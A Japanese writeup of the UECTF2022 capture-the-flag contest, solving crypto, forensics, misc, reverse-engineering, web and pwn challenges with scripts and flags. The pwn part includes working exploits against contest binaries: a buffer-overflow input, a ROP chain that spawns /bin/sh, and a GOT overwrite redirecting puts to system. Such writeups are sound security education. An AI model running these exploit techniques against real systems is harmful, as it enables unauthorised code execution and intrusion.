st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

UECTF2022 writeup

11/18 - 11/20という日程で開催された。stnanとして参加して全完し、2位だった。ずんだの妖精꧁𝕫𝕦𝕟𝕕𝕒𝕞𝕠𝕟꧂に40分負けた。


[CRYPTO 50] RSA (57 solves)

RSA暗号でフラグを暗号化してみました!解読してみてください。

I encrypted the flag with the RSA cipher! Please try to decode it.

添付ファイル: rsa_source.py, output.txt

rsa_source.py は以下のような内容だった。

from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes, GCD

def enc(p_text):
  N=p*q
  c_text=pow(p_text,e,N)
  #cipher_text=plain_text^e mod N
  print('cipher text:',c_text)
  print('p:',p)
  print('q:',q)
  print('e:',e)

e = 65537
p = getPrime(100)
q = getPrime(100)

#e:public key
#p,q: prime number

plain=b'UECTF{SECRET}'
plain=bytes_to_long(plain)
#bytes_to_long:bytes -> number
#long_to_bytes:number->bytes
enc(plain)

output.txt はこれ。

cipher text: 40407051770242960331089168574985439308267920244282326945397
p: 1023912815644413192823405424909
q: 996359224633488278278270361951
e: 65537

普通のRSA。復号するスクリプトを書く。

import binascii
import gmpy2

c = 40407051770242960331089168574985439308267920244282326945397
p = 1023912815644413192823405424909
q = 996359224633488278278270361951
e = 65537

d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, p * q)
print(binascii.unhexlify(hex(m)[2:]))

実行するとフラグが得られた。

$ python3 solve.py
b'UECTF{RSA-iS-VeRy-51Mp1e}'
UECTF{RSA-iS-VeRy-51Mp1e}

[FORENSICS 100] Compare (33 solves)

新しくUECTFのロゴを作ったよ。え?元々あったロゴと同じじゃないかって?君はまだまだ甘いなぁ。

I made a new logo for UECTF. What, do you think it's the same as the original logo? You are still a bit naive.

添付ファイル: UECTF_org.bmp, UECTF_new.bmp

人間の目にはまったく同じ画像に見えるけれども、なんか違うっぽい。

$ sha256sum *
08d44aa56a8cef70356fe0a8ec510d63a3ec8ef9d0d70f4ea9876261ba5b889b  UECTF_new.bmp
54465d578a21551a206f1ca57bd31fb211c9cf44d54a9f8000077d81b3a58f3f  UECTF_org.bmp

違う部分を探すスクリプトを書く。

with open('UECTF_org.bmp', 'rb') as f:
  s = f.read()
with open('UECTF_new.bmp', 'rb') as f:
  t = f.read()

print(bytes(y for x, y in zip(s, t) if x != y))

実行するとフラグが得られた。

$ python3 solve.py
b'UECTF{compare_two_files_byte_by_byte}'
UECTF{compare_two_files_byte_by_byte}

[FORENSICS 100] Deleted (53 solves)

USBメモリに保存してたフラグの情報消しちゃった。このイメージファイルからどうにか取り出せないものか…

I have deleted the flag information I saved on my USB stick. I wonder if there is any way to retrieve it from this image file...

添付ファイル: image.raw

binwalkで殴る。

$ binwalk -D 'png image:png' image.raw

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
327812        0x50084         xz compressed data
330296        0x50A38         xz compressed data
557056        0x88000         PNG image, 750 x 180, 8-bit/color RGB, non-interlaced
557952        0x88380         Zlib compressed data, best compression
585728        0x8F000         PNG image, 1006 x 38, 8-bit/color RGBA, non-interlaced
…

0x8F000 から始まっているPNGがフラグだった。

UECTF{TH1S_1M4G3_H4S_N0T_B33N_D3L3T3D}

[FORENSICS 127] Discord 1 (30 solves)

数日前、CTFの作問をやっている友達が送ってきたフラグの書かれた画像がいつの間にか消されていた。あれがあればこの問題にも正解できるはず… 調べたらDiscordのデータはこのフォルダに色々保存されているらしい。何とかして消された画像を見つけられないだろうか…

A few days ago, a friend of mine who is doing a CTF composition question sent me an image with the flag written on it, which was deleted. If I had that one, I should be able to answer this question correctly... I checked and it seems that Discord data is stored in this folder. I wonder if there is any way to find the deleted image...

添付ファイル: discord1.zip

Crashpad, GPUCache, VideoDecodeStats といったディレクトリがある。それっぽい CacheCode Cache といったディレクトリもある。今回探しているのは画像ということなので、試しに Cache ディレクトリ下で file * を走らせ、画像がないか探す。いくつかPNGがあった。

$ cd Cache
$ file *
…
f_00008d: PNG image data, 248 x 300, 8-bit/color RGBA, non-interlaced
f_00008e: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced
f_00008f: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced
f_000090: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced
f_000091: PNG image data, 461 x 469, 8-bit/color RGBA, non-interlaced
f_000092: Audio file with ID3 version 2.3.0, contains:MPEG ADTS, layer III, v1, 320 kbps, 44.1 kHz, JntStereo
index:    data

f_00003a がそれだった。

UECTF{D1SC0RD_1S_V3RY_US3FUL!!}

[FORENSICS 323] Discord2 (21 solves)

前に思いついたフラグ送信しようとして止めたんだけど、やっぱりあれが良かったなぁ… でもちゃんと思い出せないなぁ。このフォルダにはキャッシュとかも残ってるし、どこかに編集履歴みたいなの残ってないかなぁ…

I tried to send to a friend the flag I thought of before and stopped, but I still liked that one... But I can't remember it properly. I'm sure there's a cache or something in this folder, and I'm wondering if there's some kind of edit history somewhere...

添付ファイル: discord2.zip

ディレクトリやファイルの構造はDiscord 1とほぼ同じだった。「前に思いついたフラグ送信しようとして止めた」とのことなので、grepUECTF が含まれるファイルを探す。あった。

$ grep -rl UECTF .
./Local Storage/leveldb/000004.log

該当する部分を見てみる。

$ grep -ao "UECTF{[^}]\+}" "./Local Storage/leveldb/000004.log"
UECTF{Y0U_C4N_S33_Y0UR_DRAFT}
UECTF{Y0U_C4N_S33_Y0UR_DRAFT}

[MISC 10] WELCOME (88 solves)

Welcome to UECTF2022! Join the discord server and submit the flag!!

UECTFへようこそ! Discordサーバーにあるflagを提出してください!!

Discordサーバの #📢-announcements チャンネルにフラグがあるのだれども、

これはUECTFが開催されるというアナウンスに添付されていた画像に含まれる文字列と同じだったので、事前にメモっていた。

UECTF{C4PTURE_TH3_FL4G_2022}

[MISC 100] caesar (68 solves)

ガイウス・ユリウス・カエサル Gaius Iulius Caesar

添付ファイル: caesar_source.py, caesar_output.txt

caesar_source.py は以下のようなPythonスクリプトだった。シーザー暗号をアルファベットだけでなく数字、記号にも拡張したやつっぽい。caesar_output.txt はこれを使ってフラグを「暗号化」したもの。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

def encode(plain):
  cipher=''
  for i in plain:
    index=letter.index(i)
    cipher=cipher+letter[(index+14)%len(letter)]
  return cipher

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
plain_text='UECTF{SECRET}'
cipher_text=encode(plain_text)
print(cipher_text)

改造して鍵をブルートフォースする。case-sensitiveであることに注意。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

def encode(plain, x=14):
  cipher=''
  for i in plain:
    index=letter.index(i)
    cipher=cipher+letter[(index+x)%len(letter)]
  return cipher

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
plain_text='2LJ0MF0o&*E&zEhEi&1EKpmm&J3s1Ej)(zlYG'
for x in range(100):
  print(encode(plain_text, x))

実行するとフラグが得られた。

$ python3 caesar_source.py | grep UECTF
UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}
UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}

[MISC 100] redaction gone wrong 1 (71 solves)

NOBODY SHOULD JUST COPY AND PASTE MY FILES!

何人もコピペすべからず!

添付ファイル: challenge.pdf

フラグの部分が黒塗りになっている。Chromeでこの部分を選択してコピペしようとすると、"nope"クリップボードにコピーされた。

Firefox(というかPDF.js)ならいける

UECTF{PDFs_AR3_D1ffiCulT_74d21e8}

[MISC 100] redaction gone wrong 2 (54 solves)

We have found this image floating on the internet. Can you tell us what is the redacted text?

インターネット上でこの画像を見つけた。隠されたテキストは何だろうか?

添付ファイル: flag.png

フラグがペンで塗りつぶされている。が、うっすらと見える気がする。

青い空を見上げればいつもそこに白い猫でパレットをランダムにしてみるともっとはっきりと見える。

UECTF{N3ver_ever_use_A_p3n_rofl}

[MISC 100] GIF1 (59 solves)

GIFアニメの中にフラグを隠したよ。え?隠れてないって?そんなぁ…

I tried to hide the flag with GIF animation. Huh? Not hidden...? Oh no...

添付ファイル: UEC_Anime.gif

アニメーションGIFが与えられている。ffmpeg -i UEC_Anime.gif -vsync 2 frames/%d.png でフレームを切り出す。86枚目で一瞬フラグが表示されていた。

UECTF{G1F_4N1M4T10NS_4R3_GR34T!!}

[MISC 127] GIF2 (30 solves)

今度こそGIFアニメにフラグを隠したよ。人の目で見えるものだけが全てじゃないよ。

I tried to hide the flag in a GIF animation. It's not all about what people can see.

添付ファイル: UECTF.gif

アニメーションGIFその2。また ffmpeg -i UECTF.gif -vsync 2 frames/%d.png でバラバラにする。人間の目には何も不審な点がないように見える。

青い空を見上げればいつもそこに白い猫で見てみると、RGBのそれぞれLSBにフラグが埋め込まれていた。

UECTF{TH1S_1S_TH3_3NTR4NC3_T0_ST3G4N0GR4PHY}

[MISC 400] PDF (16 solves)

一貫性のあるPDF

Consistent PDF

添付ファイル: chall.pdf

121ページぐらいあるPDFがある。中身は DUMMY PAGE か空か。Chromeだと何の変哲もないPDFに見えるが、Firefoxだとページ番号の様子がおかしい。

atob('VUVD')UEC なので、ページ番号にフラグが仕込まれていそう。FirefoxでPDFを開き、キーを押すたびにページ番号を記録していくスクリプトを書く。

{
  let result = '';
  document.body.addEventListener('keyup', () => {
    result += document.getElementById('pageNumber').value;
    console.log(result);
  }, false);
}

出力された VUVDVEZ7RG8teTBVLWtOb3ctN2hBVC1QZGYtcGE5RS1OdW1CM1I1LUNBTi1VU0UtTEV0N2VSUy0wN2hFci1USDROLVJPbUBuLU5VTTNSNDEkP30Base64デコードするとフラグが出てくる。

UECTF{Do-y0U-kNow-7hAT-Pdf-pa9E-NumB3R5-CAN-USE-LEt7eRS-07hEr-TH4N-ROm@n-NUM3R41$?}

本番では手作業でなんとかした。

[MISC 400] WHEREAMI (16 solves)

あなたの元に友人から「私はどこにいるでしょう?」という件名の謎の文字列が書かれたメールが送られてきました。 さて、これは何を示しているのでしょうか?

You receive an email from your friend with a mysterious string of text with the subject line "Where am I?" Now, what does this indicate?

添付ファイル: mail.txt

与えられたファイルは以下のような内容だった。これはplus codeこないだ見たやつだ!

7RJP2C22+2222222
7RJP2G22+2222222
7VJM2C22+2222222
7VJM2G22+2222222
7RHGWW22+2222222
…

plus codeを緯度・経度に変換するPythonライブラリを使い、全部緯度・経度に変換した上でCSVにする。

from openlocationcode import openlocationcode

with open('mail.txt') as f:
  s = f.readlines()
  s = [openlocationcode.decode(x.strip()) for x in s]
  s = [x.latlng() for x in s]

with open('a.csv', 'w') as f:
  f.write('i,Lat,Long\n')
  for i, (lat, long) in enumerate(s):
    f.write(f'{i},{lat},{long}\n')

Googleマイマップで読み込むと、フラグが見えた。

leet表記でcase-sensitiveなのがちょっとつらい。

UECTF{D1d_y0u_Kn0w_aB0ut_Km1?}

[MISC 436] OSINT (13 solves)

There is this link to a Twitter account. However, Twitter says that "This account doesn’t exist." Could you somehow use your magic to find this person? I'm pretty sure he's still using Twitter. Thanks!!

あるTwitterアカウントへのリンクがありました。アクセスすると"このアカウントは存在しません"と表示されて困っているんだ...😖 他の情報源によるとTwitterをまだやっているはずなんだけどなぁ🤔

https://twitter.com/__yata_nano__

とりあえずこのアカウントを見に行くと、存在しないと言われる。screen_nameを変えたのだろう。

Internet ArchiveWayback Machineで探してみると、あった。ソースを見ると "identifier": "1585261641125416961" とある。https://twitter.com/intent/user?user_id=1585261641125416961 にアクセスすると、新しいscreen_nameが ftceu とわかる。最新のツイートを見るとPastebinへのリンクがある。添付されているパスワードを入力するとフラグが得られた。

UECTF{ur_a_tw1tter_mast3r__arent_y0u}

[PWN 50] buffer_overflow (48 solves)

バッファオーバーフローを知っていますか?
Do you know buffer overflow?
コンパイルオプションは -fno-stack-protector をつけています。

gcc ./bof_source.c -fno-stack-protector

nc uectf.uec.tokyo 30002

添付ファイル: bof_source.c

bof_source.c は以下のような内容だった。scanf("%s",name); で明らかにスタックバッファオーバーフローができる。メモリ上は name のすぐ後ろに debug_flag があるはずだけれども、この debug_flag1 にすればよいらしい。

#include<stdio.h>
#include<string.h>
int debug();
int main(){
  char debug_flag,name[15];
  debug_flag='0';
  printf("What is your name?\n>");
  scanf("%s",name);
  if(debug_flag=='1'){
    debug();
  }
  printf("Hello %s.\n",name);
  return 0;
}

int debug(){
  char flag[32]="CTF{THIS_IS_NOT_TRUE_FLAG}";
  printf("[DEBUG]:flag is %s\n",flag);
}

スタックバッファオーバーフローで置き換える。

$ echo -e "AAAAAAAAAAAAAAA1" | nc uectf.uec.tokyo 30002
What is your name?
>[DEBUG]:flag is UECTF{ye4h_th1s_i5_B0f_flag}
Hello AAAAAAAAAAAAAAA1.

フラグが得られた。

UECTF{ye4h_th1s_i5_B0f_flag}

[PWN 356] guess (19 solves)

Please guess my password.

私のパスワードを推測してください。 ※総当たりする必要はございません。そういった行為はお控えください。

nc uectf.uec.tokyo 9001

添付ファイル: chall, main.c, flag.txt, secret.txt

main.c は以下のような内容だった。secret.txt を当てればよいらしいけれども、無理。実はバッファオーバーフローができて、scanf("%32s", buf); で32バイト分を入力すると、その次の33バイト目にnull文字が書き込まれる。つまり、メモリ上で buf の次に配置されている pw (正解のパスワード)の1バイト目がnull文字になる。strncmp はnull文字が出現した以降の比較は行わないので、buf の1バイト目もnull文字にしてつじつまを合わせてやればいい。

#include <stdio.h>
#include <string.h>

void win() {
    char flag[0x20];
    FILE *fp = fopen("flag.txt", "r");
    fgets(flag, 32, fp);
    puts(flag);
    fclose(fp);
}

void secret(char *s) {
    FILE *fp = fopen("secret.txt", "r");
    fgets(s, 32, fp);
    fclose(fp);
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char buf[32];
    char pw[32];

    secret(pw);

    printf("Guess my password\n> ");
    scanf("%32s", buf);
    if(strncmp(pw, buf, sizeof(pw)) == 0) {
        puts("Correct!!!");
        win();
    } else {
        puts("Wrong.");
    }
    return 0;
}

やってみるとフラグが得られた。

$ echo -en "\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | nc uectf.uec.tokyo 9001
Guess my password
> Correct!!!
UECTF{Wow_are_you_Esper?}

[PWN 489] buffer_overflow_2 (6 solves)

I made it a little harder.

ちょっと難しくしました。

nc uectf.uec.tokyo 9002

添付ファイル: chall, main.c

main.c は以下のような内容だった。明らかにスタックバッファオーバーフローができる。ただ、バイナリを file コマンドに通してみるとstatically linkedであることがわかる。system 関数みたいな有用そうなものはなかったのでROPでなんとかする必要がありそう。

#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[0x60];
    printf("> ");
    read(STDIN_FILENO, buf, 0x80);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    vuln();
    puts("Bye!");
    return 0;
}

0x20バイト分のバッファオーバーフローができると言ったけれども、vuln のエピローグが leave; ret なのもあって、最初に実行できるgadgetは最大で3つだけ。無理がある(しらんけど)ので、stack pivotでなんとかする。あとはrp++でgadgetを探してROP chainを組み立てる。

まず read(STDIN_FILENO, (いい感じに書き込める.bssセクションの適当なアドレス), 0x80) 相当のことをしてから、そのまま vuln のエピローグである leave; ret を活用して、RSPを今書き込んだ .bss セクションの適当なアドレスに移す。2段階目では、syscallexecve("/bin/sh", NULL, NULL) する。

from pwn import *

pop_rax = 0x4516a7
pop_rdi = 0x4018c2
pop_rsi = 0x40f20e
pop_rdx = 0x4017cf
syscall = 0x4012d3

vuln = 0x401d65
addr_bss = 0x4c3000

payload1 = b''
payload1 = payload1.ljust(0x60)
payload1 += p64(addr_bss) # rbp
payload1 += p64(pop_rsi)
payload1 += p64(addr_bss)
payload1 += p64(vuln+41)

payload2 = b''
payload2 += b'/bin/sh\0'
payload2 = payload2.ljust(0x8)
payload2 += p64(pop_rdi) + p64(addr_bss)
payload2 += p64(pop_rsi) + p64(0)
payload2 += p64(pop_rdx) + p64(0)
payload2 += p64(pop_rax) + p64(59)
payload2 += p64(syscall)

#s = process('./chall')
s = remote('uectf.uec.tokyo', 9002)
print('[payload1]')
s.recvuntil(b'> ')
s.send(payload1)

print('[payload2]')
s.send(payload2)

s.interactive()

実行すると、シェルが取れた。

$ python3 s.py
[+] Opening connection to uectf.uec.tokyo on port 9002: Done
[payload1]
[payload2]
[*] Switching to interactive mode
$ ls
chall
flag.txt
run.sh

そのままフラグも得られた。

$ cat flag.txt
UECTF{B3l13v3_0ur_Fu7ur3}
UECTF{B3l13v3_0ur_Fu7ur3}

[PWN 488] rot13 (6 solves)

We love ROT13.

みんな大好きROT13

nc uectf.uec.tokyo 9003

添付ファイル: chall, libc-2.31.so, main.c

そうでもない。main.c は以下のような内容だった。長くてむずそう。よく見ると、createrun も、というかどのコマンドも index >= MAX_NUM || list[index] == NULL のように入力されたindexが MAX_NUM 以上でないかチェックはしているものの、0未満であるかどうかはチェックしていない。負数でもOK。そういうわけで、ヒープ領域の list より前に存在している部分を参照できる。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_NUM 8
#define BUF_SIZE 0x20

char **list;

int get_num(char *msg) {
    int n;

    printf("%s", msg);
    scanf("%d%*c", &n);
    return n;
}

void create() {
    int index = get_num("index: ");
    if(index >= MAX_NUM) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

    char *buf, *p;
    printf("data: ");
    buf = malloc(BUF_SIZE);
    buf[read(STDIN_FILENO, buf, BUF_SIZE-1)] = '\0';
    if((p = strrchr(buf, '\n')))
        *p = '\0';
    list[index] = buf;
}

void run() {
    int index = get_num("index: ");
    if(index >= MAX_NUM || list[index] == NULL) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

    char *buf = list[index];
    for(; *buf; buf++) {
        char c = *buf;
        if(c >= 'a' && c <= 'z')
            *buf = (c - 'a' + 13) % 26 + 'a';
        else if(c >= 'A' && c <= 'Z')
            *buf = (c - 'A' + 13) % 26 + 'A';
        else
            *buf = c;
    }
    puts("Done!");
}

void show() {
    int index = get_num("index: ");
    if(index >= MAX_NUM) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }
    puts(list[index]);
}

void edit() {
    int index = get_num("index: ");
    if(index >= MAX_NUM || list[index] == NULL) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

    char *buf, *p;
    printf("data: ");
    buf = list[index];
    buf[read(STDIN_FILENO, buf, BUF_SIZE-1)] = '\0';
    if((p = strrchr(buf, '\n')))
        *p = '\0';
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char *name = malloc(BUF_SIZE);
    printf("name: ");
    scanf("%10s", name);
    printf("Hello %s!\n", name);
    free(name);

    list = calloc(MAX_NUM, sizeof(char *));

    puts("1. create");
    puts("2. run");
    puts("3. show");
    puts("4. edit");
    puts("5. exit");

    while(1) {
        int choice = get_num("> ");
        switch(choice) {
            case 1:
                create();
                break;
            case 2:
                run();
                break;
            case 3:
                show();
                break;
            case 4:
                edit();
                break;
            default:
                puts("Bye!");
                exit(EXIT_SUCCESS);
        }
    }
    return 0;
}

負数が入力できたら何ができるのか。showputs(list[index]);ブレークポイントを置いて、indexとして-6を入力してみる。すると、直前に create で入力した文字列が、表示するアドレスとして第一引数に入っていた。おっ。

gdb-peda$ b *(show+81)
Breakpoint 1 at 0x401515
gdb-peda$ r
name: kiritan
Hello kiritan!
1. create
2. run
3. show
4. edit
5. exit
> 1
index: 0
data: hoge
> 3
index: -6
gdb-peda$ p $rdi
$1 = 0x65676f68

これで任意のアドレスの読み込みができることがわかったし、edit なら任意のアドレスに書き込める。.got.plt を読んでlibcのアドレスを特定し、puts を呼ぼうとすると代わりに system が呼ばれるように .got.plt を書き換えればよい。

from pwn import *

libc = ELF('./libc-2.31.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s = remote('uectf.uec.tokyo', 9003)
#s = process('./chall')

s.recvuntil(b'name: ')
s.sendline(b'a')

def execute(cmd, index, data=None, get_res=False):
  s.recvuntil(b'> ')
  s.sendline(str(cmd).encode())
  s.recvuntil(b'index: ')
  s.sendline(str(index).encode())
  if data is not None:
    s.recvuntil(b'data: ')
    s.send(data)
  if get_res:
    return s.recvline()[:-1]

addr_got_puts = 0x404020
execute(1, 0, p64(addr_got_puts)) # create

addr_puts = u64(execute(3, -6, get_res=True).ljust(8, b'\x00')) # show
libc_base = addr_puts - libc.symbols['puts']

execute(4, -6, p64(libc_base + libc.symbols['system'])) # edit
execute(1, 1, b'/bin/sh') # create
execute(3, 1) # show

s.interactive()

実行すると、シェルが得られた。

$ python3 solve.py
[+] Opening connection to uectf.uec.tokyo on port 9003: Done
[*] Switching to interactive mode
$ ls
chall
flag.txt
run.sh

そのままフラグが得られる。

$ cat flag.txt
UECTF{ROT13_stands_for_ROTate_by_13_places}
UECTF{ROT13_stands_for_ROTate_by_13_places}

[REV 50] A file (81 solves)

誰かがファイルの拡張子を消してしまった。どのような中身のファイルなのか?

Someone erased a file extension. What contents is the file?

添付ファイル: chall

XZですねえ。

$ file chall
chall: XZ compressed data

展開するとELFファイルが出てくる。

$ mv chall chall.xz
$ xz -d chall.xz
$ ls
chall
$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cc6cbef9d855aa72b5673ebe2709fb27b75a6e67, for GNU/Linux 3.2.0, not stripped

このバイナリにフラグが含まれている。

$ strings -n 8 ./chall | grep UECTF
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

[REV 100] revPython (20 solves)

What does this pyc file do?

これは?

添付ファイル: a.cpython-39.pyc, flag.jpg

flag.jpg はどう見てもJPEGではないが、雰囲気から何らかの文字列とXORしていそうだとわかる。

$ xxd flag.jpg | head
00000000: aa9d bc8f 4638 5546 4156 4579 5746 4057  ....F8UFAVEyWF@W
00000010: 457f 5646 4751 4e7e 5041 4751 4c7c 5243  E.VFGQN~PAGQL|RC
00000020: 4b58 4c77 594e 495f 4d76 5b57 5359 486a  KXLwYNI_Mv[WSYHj
00000030: 5b4e 4844 506b 4456 5741 536e 594a 544c  [NHDPkDVWASnYJTL
00000040: 506f 4d57 5741 5284 8e45 0055 457f 5140  PoMWWAR..E.UE.Q@
00000050: 4751 4f7e 504c 5759 4d76 4151 5740 526f  GQO~PLWYMvAQW@Ro
00000060: 4151 5740 526f 4151 5740 526f 4151 5740  AQW@RoAQW@RoAQW@
00000070: 526f 4151 5740 526f 4151 5740 526f 4151  RoAQW@RoAQW@RoAQ
00000080: 5740 526f 4151 5740 526f 4151 bc94 466a  W@RoAQW@RoAQ..Fj
00000090: 5d43 175f 0678 5467 4356 577a 5654 42ab  ]C._.xTgCVWzVTB.

JPEGマジックナンバー+αである FF D8 FF と先頭3バイトをXORすると UEC と出てくる。strings a.cpython-39.pyc すると UECTF{ という文字列が含まれていることがわかる。UECTF{ とXORしてみると、フラグの画像が出てきた

UECTF{oh..did1s0meh0wscr3wup??}

[REV 323] captain-hook (21 solves)

haha, good luck solving this

運も実力のうち!

添付ファイル: captainhook

IDA Freewareでデコンパイルしてみると、いい感じの時刻に実行すると success と出力され、あとなんか sub_1330 という関数も呼び出されることがわかる。

success と出力するか、failure と出力するかを決める jnz を雑に jz に変えるとどうなるのか。

パッチをあてて実行するとフラグが得られた。

$ ./captainhook
success
UECTF{hmmmm_how_did_you_solve_this?}
UECTF{hmmmm_how_did_you_solve_this?}

[REV 400] discrete (16 solves)

Jumping around in memory

記憶の中でジャンプする

添付ファイル: chall

入力した文字列がフラグかどうかチェックしてくれるバイナリが与えられる。まずはフラグの文字列を特定したい。

$ ./chall
flag: hoge
invalid input length

34文字っぽい。

なんか strncmp をしている。ここにブレークポイントを置いてみる。

引数を見てみると、3バイトずつフラグをチェックしているように見える。

$ gdb ./chall
gdb-peda$ b *0x5555555560ba
Breakpoint 1 at 0x5555555560ba
gdb-peda$ r
flag: AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKK
gdb-peda$ x/s $rdi
0x7fffffffda0d: "UEC"
gdb-peda$ x/s $rsi
0x7fffffffd8c0: "AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKL"

x/s $rdi し続けると、ちょっとずつフラグが得られる。

UECTF{dynamic_static_strings_2022}

[REV 450] dotnet (11 solves)

簡単にデコンパイルできるフレームワークを使って書いたので、難読化を施しました。 なので、難読化が正しく行われていれば秘密情報にはアクセスできないはずです・・・ (アプリケーションはLinux-x64で動作させることを想定しています)

I obfuscated this because I made this using an easily decompilable framework. So, if the obfuscation is done correctly, the secret information should not be accessible... (The application is intended to run on Linux-x64)

添付ファイル: chall_x86_64_linux

ファイル名からもわかるように、ELFファイルが与えられている。.NETのデコンパイルといえばdnSpyILSpyだ。ILSpyに投げるとデコンパイルできた。この名前がUUIDになっているクラスがフラグのチェック処理っぽい。

同じ処理をすればよい。

$ python3
>>> a = [255, 238, 235, 253, 232, 212, 237, 221, 210, 207, 201, 194, 199, 211, 205, 202, 212, 200, 149, 218, 204, 218, 221, 201, 215, 215, 157, 198, 223, 195, 220, 152, 206, 228, 252, 231, 235, 251, 161, 227, 231, 230, 228, 172, 242, 232, 169, 231, 255, 182, 254, 236, 242, 243, 229, 176, 226, 225, 255, 229, 243, 244, 224, 240, 142, 202, 149]
>>> s = bytes(a)
>>> bytes(x ^ 0xaa ^ i for i, x in enumerate(s))
b'UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}'
UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}

[WEB 100] webapi (42 solves)

サーバーからフラグを取ってきて表示する web ページを作ったけど、上手く動かないのはなんでだろう?

I created a web page that fetches flags from the server and displays them, but why doesn't it work?

http://uectf.uec.tokyo:4447

与えられたURLにアクセスすると、たしかに server error と表示されていてうまく動いていないように見える。

ソースを見ると以下のような処理があった。CORSのせいでブロックされていそう。

  const FLAG_URL = 'https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/';
  fetch(FLAG_URL)
    .then(data => {
      document.getElementsByClassName('flag-data')[0].innerText = data;
    })
    .catch(err => {
      document.getElementsByClassName('flag-data')[0].innerText = 'server error';
    })

この FLAG_URL に直接アクセスするとフラグが得られた。

UECTF{cors_is_browser_feature}

[WEB 323] request-validation (21 solves)

GET リクエストでオブジェクトを送ることはできますか? ※ まずは、自分の環境でフラグ取得を確認してください。

Can you request a object?

  • First, please check the flag acquisition in your environment.

http://uectf.uec.tokyo:4446

添付ファイル: request-validation.tar.gz

ソースコードが与えられている。メインの node.js は以下のような感じ。req.query.q とクエリパラメータの q がオブジェクトならフラグが得られるっぽい。

require('dotenv').config();
const express = require('express')
const app = express()
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`Example app listening on port ${PORT}`)
})

const FLAG = process.env.FLAG || 'flag{dummy_flag}'

app.get('/', (req, res) => {
  if (req.query.q && typeof req.query.q === 'object') {
    res.send(FLAG)
  } else {
    res.send('invalid request')
  }
})

Expressがクエリ文字列のパースに使うqsというライブラリは、?a[b]=123 のようにブラケットを使うとオブジェクトを表現できる。/?q[]=a にアクセスするとフラグが得られた。

UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}